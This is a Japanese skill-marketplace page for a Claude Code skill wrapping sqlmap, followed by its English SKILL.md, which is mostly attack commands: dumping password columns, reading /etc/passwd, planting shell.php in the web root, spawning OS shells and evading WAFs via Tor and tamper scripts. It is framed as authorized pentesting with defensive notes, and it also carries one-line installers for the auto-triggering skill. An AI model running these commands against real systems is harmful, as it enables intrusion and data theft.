webapp-sqlmap
Webアプリケーションのセキュリティテストで、SQLインジェクション脆弱性の検出や悪用、データベース情報の抽出などを自動化し、認証回避や脆弱なパラメータ特定、データベース列挙・データ抽出を効率的に行うSkill。
📜 元の英語説明(参考)
Automated SQL injection detection and exploitation tool for web application security testing. Use when: (1) Testing web applications for SQL injection vulnerabilities in authorized assessments, (2) Exploiting SQL injection flaws to demonstrate impact, (3) Extracting database information for security validation, (4) Bypassing authentication mechanisms through SQL injection, (5) Identifying vulnerable parameters in web requests, (6) Automating database enumeration and data extraction.
🇯🇵 日本人クリエイター向け解説
Webアプリケーションのセキュリティテストで、SQLインジェクション脆弱性の検出や悪用、データベース情報の抽出などを自動化し、認証回避や脆弱なパラメータ特定、データベース列挙・データ抽出を効率的に行うSkill。
※ jpskill.com 編集部が日本のビジネス現場向けに補足した解説です。Skill本体の挙動とは独立した参考情報です。
下記のコマンドをコピーしてターミナル(Mac/Linux)または PowerShell(Windows)に貼り付けてください。 ダウンロード → 解凍 → 配置まで全自動。
mkdir -p ~/.claude/skills && cd ~/.claude/skills && curl -L -o webapp-sqlmap.zip https://jpskill.com/download/17046.zip && unzip -o webapp-sqlmap.zip && rm webapp-sqlmap.zip
$d = "$env:USERPROFILE\.claude\skills"; ni -Force -ItemType Directory $d | Out-Null; iwr https://jpskill.com/download/17046.zip -OutFile "$d\webapp-sqlmap.zip"; Expand-Archive "$d\webapp-sqlmap.zip" -DestinationPath $d -Force; ri "$d\webapp-sqlmap.zip"
完了後、Claude Code を再起動 → 普通に「動画プロンプト作って」のように話しかけるだけで自動発動します。
💾 手動でダウンロードしたい(コマンドが難しい人向け)
- 1. 下の青いボタンを押して
webapp-sqlmap.zipをダウンロード - 2. ZIPファイルをダブルクリックで解凍 →
webapp-sqlmapフォルダができる - 3. そのフォルダを
C:\Users\あなたの名前\.claude\skills\(Win)または~/.claude/skills/(Mac)へ移動 - 4. Claude Code を再起動
⚠️ ダウンロード・利用は自己責任でお願いします。当サイトは内容・動作・安全性について責任を負いません。
🎯 このSkillでできること
下記の説明文を読むと、このSkillがあなたに何をしてくれるかが分かります。Claudeにこの分野の依頼をすると、自動で発動します。
📦 インストール方法 (3ステップ)
- 1. 上の「ダウンロード」ボタンを押して .skill ファイルを取得
- 2. ファイル名の拡張子を .skill から .zip に変えて展開(macは自動展開可)
- 3. 展開してできたフォルダを、ホームフォルダの
.claude/skills/に置く- · macOS / Linux:
~/.claude/skills/ - · Windows:
%USERPROFILE%\.claude\skills\
- · macOS / Linux:
Claude Code を再起動すれば完了。「このSkillを使って…」と話しかけなくても、関連する依頼で自動的に呼び出されます。
詳しい使い方ガイドを見る →- 最終更新
- 2026-05-18
- 取得日時
- 2026-05-18
- 同梱ファイル
- 5
📖 Skill本文(日本語訳)
※ 原文(英語/中国語)を Gemini で日本語化したものです。Claude 自身は原文を読みます。誤訳がある場合は原文をご確認ください。
SQLMap - 自動化されたSQLインジェクションツール
概要
SQLMapは、SQLインジェクションの脆弱性の検出と悪用を自動化するオープンソースのペネトレーションテストツールです。このスキルでは、脆弱性の検出、データベースの列挙、データの抽出、認証のバイパスなど、許可されたセキュリティテストについて説明します。
重要: SQLインジェクションの悪用は侵襲的であり、データを破損させる可能性があります。SQLMapは、所有しているシステム、またはテストする明示的な許可を得ているシステム上で、適切な書面による許可を得てのみ使用してください。
クイックスタート
基本的なSQLインジェクションの検出:
# 単一のパラメータをテスト
sqlmap -u "http://example.com/page?id=1"
# POSTデータでテスト
sqlmap -u "http://example.com/login" --data="username=admin&password=test"
# 保存されたリクエストファイルからテスト
sqlmap -r request.txt
# データベースを検出して列挙
sqlmap -u "http://example.com/page?id=1" --dbs
コアワークフロー
SQLインジェクションのテストワークフロー
進捗状況: [ ] 1. Webアプリケーションのテストの承認を確認する [ ] 2. 潜在的なインジェクションポイントを特定する [ ] 3. SQLインジェクションの脆弱性を検出する [ ] 4. DBMSの種類とバージョンを特定する [ ] 5. データベースとテーブルを列挙する [ ] 6. 機密データを抽出する(承認されている場合) [ ] 7. 修正ガイダンスとともに調査結果を文書化する [ ] 8. テストアーティファクトをクリーンアップする
各ステップを体系的に進めてください。完了した項目にチェックを入れてください。
1. 承認の検証
重要: SQLインジェクションのテストを行う前に:
- アプリケーションの所有者からの書面による承認を確認する
- スコープにWebアプリケーションのセキュリティテストが含まれていることを確認する
- データ保護と取り扱いに関する要件を理解する
- 許可されたテスト期間を文書化する
- バックアップとロールバックの手順を確認する
2. ターゲットの特定
潜在的なSQLインジェクションポイントを特定します。
GETパラメータ:
# パラメータ付きの単一のURL
sqlmap -u "http://example.com/product?id=1"
# 複数のパラメータ
sqlmap -u "http://example.com/search?query=test&category=all&sort=name"
# すべてのパラメータをテスト
sqlmap -u "http://example.com/page?id=1&name=test" --level=5 --risk=3
POSTリクエスト:
# POSTデータを直接送信
sqlmap -u "http://example.com/login" --data="user=admin&pass=test"
# Burp Suiteのリクエストファイルから
sqlmap -r login_request.txt
# 追加のヘッダー付き
sqlmap -u "http://example.com/api" --data='{"user":"admin"}' --headers="Content-Type: application/json"
Cookieとヘッダー:
# Cookieをテスト
sqlmap -u "http://example.com/" --cookie="sessionid=abc123; role=user"
# カスタムヘッダーをテスト
sqlmap -u "http://example.com/" --headers="X-Forwarded-For: 1.1.1.1\nUser-Agent: Test"
# 特定のインジェクションポイントをテスト
sqlmap -u "http://example.com/" --cookie="sessionid=abc123*; role=user"
3. 検出とフィンガープリント
SQLインジェクションの脆弱性を検出します。
# 基本的な検出
sqlmap -u "http://example.com/page?id=1"
# アグレッシブなテスト(リスクが高い)
sqlmap -u "http://example.com/page?id=1" --level=5 --risk=3
# テクニックを指定
sqlmap -u "http://example.com/page?id=1" --technique=BEUSTQ
# DBMSを検出
sqlmap -u "http://example.com/page?id=1" --fingerprint
# 特定のDBMSを強制
sqlmap -u "http://example.com/page?id=1" --dbms=mysql
インジェクションテクニック:
- B: Boolean-based blind
- E: Error-based
- U: UNION query-based
- S: Stacked queries
- T: Time-based blind
- Q: Inline queries
4. データベースの列挙
データベースの構造を列挙します。
# データベースをリスト
sqlmap -u "http://example.com/page?id=1" --dbs
# 現在のデータベース
sqlmap -u "http://example.com/page?id=1" --current-db
# データベース内のテーブルをリスト
sqlmap -u "http://example.com/page?id=1" -D database_name --tables
# テーブル内のカラムをリスト
sqlmap -u "http://example.com/page?id=1" -D database_name -T users --columns
# データベースのユーザー
sqlmap -u "http://example.com/page?id=1" --users
# データベースのユーザー権限
sqlmap -u "http://example.com/page?id=1" --privileges
5. データの抽出
データベースからデータを抽出します(承認されている場合のみ)。
# 特定のテーブルをダンプ
sqlmap -u "http://example.com/page?id=1" -D database_name -T users --dump
# 特定のカラムをダンプ
sqlmap -u "http://example.com/page?id=1" -D database_name -T users -C username,password --dump
# すべてのデータベースをダンプ(注意して使用)
sqlmap -u "http://example.com/page?id=1" --dump-all
# システムデータベースを除外
sqlmap -u "http://example.com/page?id=1" --dump-all --exclude-sysdbs
# 特定のデータを検索
sqlmap -u "http://example.com/page?id=1" -D database_name --search -C password
6. 高度な悪用
高度なSQLインジェクションテクニック:
ファイルシステムへのアクセス:
# サーバーからファイルを読み取る
sqlmap -u "http://example.com/page?id=1" --file-read="/etc/passwd"
# サーバーにファイルを書き込む(非常に侵襲的)
sqlmap -u "http://example.com/page?id=1" --file-write="shell.php" --file-dest="/var/www/html/shell.php"
OSコマンドの実行(stacked queriesまたはout-of-bandが必要):
# OSコマンドを実行
sqlmap -u "http://example.com/page?id=1" --os-cmd="whoami"
# OSシェルを取得
sqlmap -u "http://example.com/page?id=1" --os-shell
# SQLシェルを取得
sqlmap -u "http://example.com/page?id=1" --sql-shell
認証のバイパス:
# ログインをバイパスしようとする
sqlmap -u "http://example.com/login" --data="user=admin&pass=test" --auth-type=Basic
# 認証でテスト
sqlmap -u "http://example.com/page?id=1" --auth-cred="admin:password"
7. WAFのバイパスと回避
Webアプリケーションファイアウォールを回避します。
# tamperスクリプトを使用
sqlmap -u "http://example.com/page?id=1" --tamper=space2comment
# 複数のtamperスクリプト
sqlmap -u "http://example.com/page?id=1" --tamper=space2comment,between
# ランダムなUser-Agent
sqlmap -u "http://example.com/page?id=1" --random-agent
# カスタムUser-Agent
sqlmap -u "http://example.com/page?id=1" --user-agent="Mozilla/5.0..."
# リクエスト間に遅延を追加
sqlmap -u "http://example.com/page?id=1" --delay=2
# プロキシを使用
sqlmap -u "http://example.com/page?id=1" --proxy="http://127.0.0.1:8080"
# Torを使用
sqlmap 📜 原文 SKILL.md(Claudeが読む英語/中国語)を展開
SQLMap - Automated SQL Injection Tool
Overview
SQLMap is an open-source penetration testing tool that automates the detection and exploitation of SQL injection vulnerabilities. This skill covers authorized security testing including vulnerability detection, database enumeration, data extraction, and authentication bypass.
IMPORTANT: SQL injection exploitation is invasive and can corrupt data. Only use SQLMap with proper written authorization on systems you own or have explicit permission to test.
Quick Start
Basic SQL injection detection:
# Test single parameter
sqlmap -u "http://example.com/page?id=1"
# Test with POST data
sqlmap -u "http://example.com/login" --data="username=admin&password=test"
# Test from saved request file
sqlmap -r request.txt
# Detect and enumerate databases
sqlmap -u "http://example.com/page?id=1" --dbs
Core Workflow
SQL Injection Testing Workflow
Progress: [ ] 1. Verify authorization for web application testing [ ] 2. Identify potential injection points [ ] 3. Detect SQL injection vulnerabilities [ ] 4. Determine DBMS type and version [ ] 5. Enumerate databases and tables [ ] 6. Extract sensitive data (if authorized) [ ] 7. Document findings with remediation guidance [ ] 8. Clean up any test artifacts
Work through each step systematically. Check off completed items.
1. Authorization Verification
CRITICAL: Before any SQL injection testing:
- Confirm written authorization from application owner
- Verify scope includes web application security testing
- Understand data protection and handling requirements
- Document allowed testing windows
- Confirm backup and rollback procedures
2. Target Identification
Identify potential SQL injection points:
GET Parameters:
# Single URL with parameter
sqlmap -u "http://example.com/product?id=1"
# Multiple parameters
sqlmap -u "http://example.com/search?query=test&category=all&sort=name"
# Test all parameters
sqlmap -u "http://example.com/page?id=1&name=test" --level=5 --risk=3
POST Requests:
# POST data directly
sqlmap -u "http://example.com/login" --data="user=admin&pass=test"
# From Burp Suite request file
sqlmap -r login_request.txt
# With additional headers
sqlmap -u "http://example.com/api" --data='{"user":"admin"}' --headers="Content-Type: application/json"
Cookies and Headers:
# Test cookies
sqlmap -u "http://example.com/" --cookie="sessionid=abc123; role=user"
# Test custom headers
sqlmap -u "http://example.com/" --headers="X-Forwarded-For: 1.1.1.1\nUser-Agent: Test"
# Test specific injection point
sqlmap -u "http://example.com/" --cookie="sessionid=abc123*; role=user"
3. Detection and Fingerprinting
Detect SQL injection vulnerabilities:
# Basic detection
sqlmap -u "http://example.com/page?id=1"
# Aggressive testing (higher risk)
sqlmap -u "http://example.com/page?id=1" --level=5 --risk=3
# Specify technique
sqlmap -u "http://example.com/page?id=1" --technique=BEUSTQ
# Detect DBMS
sqlmap -u "http://example.com/page?id=1" --fingerprint
# Force specific DBMS
sqlmap -u "http://example.com/page?id=1" --dbms=mysql
Injection Techniques:
- B: Boolean-based blind
- E: Error-based
- U: UNION query-based
- S: Stacked queries
- T: Time-based blind
- Q: Inline queries
4. Database Enumeration
Enumerate database structure:
# List databases
sqlmap -u "http://example.com/page?id=1" --dbs
# Current database
sqlmap -u "http://example.com/page?id=1" --current-db
# List tables in database
sqlmap -u "http://example.com/page?id=1" -D database_name --tables
# List columns in table
sqlmap -u "http://example.com/page?id=1" -D database_name -T users --columns
# Database users
sqlmap -u "http://example.com/page?id=1" --users
# Database user privileges
sqlmap -u "http://example.com/page?id=1" --privileges
5. Data Extraction
Extract data from database (authorized only):
# Dump specific table
sqlmap -u "http://example.com/page?id=1" -D database_name -T users --dump
# Dump specific columns
sqlmap -u "http://example.com/page?id=1" -D database_name -T users -C username,password --dump
# Dump all databases (use with caution)
sqlmap -u "http://example.com/page?id=1" --dump-all
# Exclude system databases
sqlmap -u "http://example.com/page?id=1" --dump-all --exclude-sysdbs
# Search for specific data
sqlmap -u "http://example.com/page?id=1" -D database_name --search -C password
6. Advanced Exploitation
Advanced SQL injection techniques:
File System Access:
# Read file from server
sqlmap -u "http://example.com/page?id=1" --file-read="/etc/passwd"
# Write file to server (very invasive)
sqlmap -u "http://example.com/page?id=1" --file-write="shell.php" --file-dest="/var/www/html/shell.php"
OS Command Execution (requires stacked queries or out-of-band):
# Execute OS command
sqlmap -u "http://example.com/page?id=1" --os-cmd="whoami"
# Get OS shell
sqlmap -u "http://example.com/page?id=1" --os-shell
# Get SQL shell
sqlmap -u "http://example.com/page?id=1" --sql-shell
Authentication Bypass:
# Attempt to bypass login
sqlmap -u "http://example.com/login" --data="user=admin&pass=test" --auth-type=Basic
# Test with authentication
sqlmap -u "http://example.com/page?id=1" --auth-cred="admin:password"
7. WAF Bypass and Evasion
Evade web application firewalls:
# Use tamper scripts
sqlmap -u "http://example.com/page?id=1" --tamper=space2comment
# Multiple tamper scripts
sqlmap -u "http://example.com/page?id=1" --tamper=space2comment,between
# Random User-Agent
sqlmap -u "http://example.com/page?id=1" --random-agent
# Custom User-Agent
sqlmap -u "http://example.com/page?id=1" --user-agent="Mozilla/5.0..."
# Add delay between requests
sqlmap -u "http://example.com/page?id=1" --delay=2
# Use proxy
sqlmap -u "http://example.com/page?id=1" --proxy="http://127.0.0.1:8080"
# Use Tor
sqlmap -u "http://example.com/page?id=1" --tor --check-tor
Common Tamper Scripts:
space2comment: Replace space with commentsbetween: Replace equals with BETWEENcharencode: URL encode charactersrandomcase: Random case for keywordsapostrophemask: Replace apostrophe with UTF-8equaltolike: Replace equals with LIKE
Security Considerations
Authorization & Legal Compliance
- Written Permission: Obtain explicit authorization for SQL injection testing
- Data Protection: Handle extracted data per engagement rules
- Scope Boundaries: Only test explicitly authorized applications
- Backup Verification: Ensure backups exist before invasive testing
- Production Systems: Extra caution on production databases
Operational Security
- Rate Limiting: Use --delay to avoid overwhelming applications
- Session Management: Save and resume sessions with --flush-session
- Logging: All SQLMap activity is logged to ~/.sqlmap/output/
- Data Sanitization: Redact sensitive data from reports
- False Positives: Verify findings manually
Audit Logging
Document all SQL injection testing:
- Target URLs and parameters tested
- Injection techniques successful
- Databases and tables accessed
- Data extracted (summary only, not full data)
- Commands executed
- Tamper scripts and evasion used
Compliance
- OWASP Top 10: A03:2021 - Injection
- CWE-89: SQL Injection
- MITRE ATT&CK: T1190 (Exploit Public-Facing Application)
- PCI-DSS: 6.5.1 - Injection flaws
- ISO 27001: A.14.2 Security in development
Common Patterns
Pattern 1: Basic Vulnerability Assessment
# Detect vulnerability
sqlmap -u "http://example.com/page?id=1" --batch
# Enumerate databases
sqlmap -u "http://example.com/page?id=1" --dbs --batch
# Get current user and privileges
sqlmap -u "http://example.com/page?id=1" --current-user --current-db --is-dba --batch
Pattern 2: Authentication Bypass Testing
# Test login form
sqlmap -u "http://example.com/login" \
--data="username=admin&password=test" \
--level=5 --risk=3 \
--technique=BE \
--batch
# Attempt to extract admin credentials
sqlmap -u "http://example.com/login" \
--data="username=admin&password=test" \
-D app_db -T users -C username,password --dump \
--batch
Pattern 3: API Testing
# JSON API endpoint
sqlmap -u "http://api.example.com/user/1" \
--headers="Content-Type: application/json\nAuthorization: Bearer token123" \
--level=3 \
--batch
# REST API with POST
sqlmap -u "http://api.example.com/search" \
--data='{"query":"test","limit":10}' \
--headers="Content-Type: application/json" \
--batch
Pattern 4: Comprehensive Enumeration
# Full enumeration (use with extreme caution)
sqlmap -u "http://example.com/page?id=1" \
--banner \
--current-user \
--current-db \
--is-dba \
--users \
--passwords \
--privileges \
--dbs \
--batch
Integration Points
Burp Suite Integration
# Save request from Burp Suite as request.txt
# Right-click request → "Copy to file"
# Test with SQLMap
sqlmap -r request.txt --batch
# Use Burp as proxy
sqlmap -u "http://example.com/page?id=1" --proxy="http://127.0.0.1:8080"
Reporting and Output
# Save session for later
sqlmap -u "http://example.com/page?id=1" -s output.sqlite
# Resume session
sqlmap -u "http://example.com/page?id=1" --resume
# Custom output directory
sqlmap -u "http://example.com/page?id=1" --output-dir="/path/to/results"
# Verbose output
sqlmap -u "http://example.com/page?id=1" -v 3
# Traffic log
sqlmap -u "http://example.com/page?id=1" -t traffic.log
Troubleshooting
Issue: False Positives
Solutions:
# Increase detection accuracy
sqlmap -u "http://example.com/page?id=1" --string="Welcome" --not-string="Error"
# Use specific technique
sqlmap -u "http://example.com/page?id=1" --technique=U
# Manual verification
sqlmap -u "http://example.com/page?id=1" --sql-query="SELECT version()"
Issue: WAF Blocking Requests
Solutions:
# Use tamper scripts
sqlmap -u "http://example.com/page?id=1" --tamper=space2comment,between --random-agent
# Add delays
sqlmap -u "http://example.com/page?id=1" --delay=3 --randomize
# Change HTTP method
sqlmap -u "http://example.com/page?id=1" --method=PUT
Issue: Slow Performance
Solutions:
# Use threads (careful with application stability)
sqlmap -u "http://example.com/page?id=1" --threads=5
# Reduce testing scope
sqlmap -u "http://example.com/page?id=1" --level=1 --risk=1
# Test specific parameter only
sqlmap -u "http://example.com/page?id=1&name=test" -p id
Defensive Considerations
Protect applications against SQL injection:
Secure Coding Practices:
- Use parameterized queries/prepared statements
- Employ ORM frameworks properly
- Validate and sanitize all user input
- Apply principle of least privilege to database accounts
- Disable error messages in production
Web Application Firewall Rules:
- Block common SQL injection patterns
- Implement rate limiting
- Monitor for suspicious query patterns
- Alert on multiple injection attempts
Detection and Monitoring:
- Log all database queries
- Monitor for unusual query patterns
- Alert on error-based injection attempts
- Detect time-based blind injection delays
- Monitor for UNION-based queries
References
同梱ファイル
※ ZIPに含まれるファイル一覧。`SKILL.md` 本体に加え、参考資料・サンプル・スクリプトが入っている場合があります。
- 📄 SKILL.md (12,760 bytes)
- 📎 assets/ci-config-template.yml (11,105 bytes)
- 📎 assets/rule-template.yaml (11,044 bytes)
- 📎 references/EXAMPLE.md (15,672 bytes)
- 📎 references/WORKFLOW_CHECKLIST.md (8,390 bytes)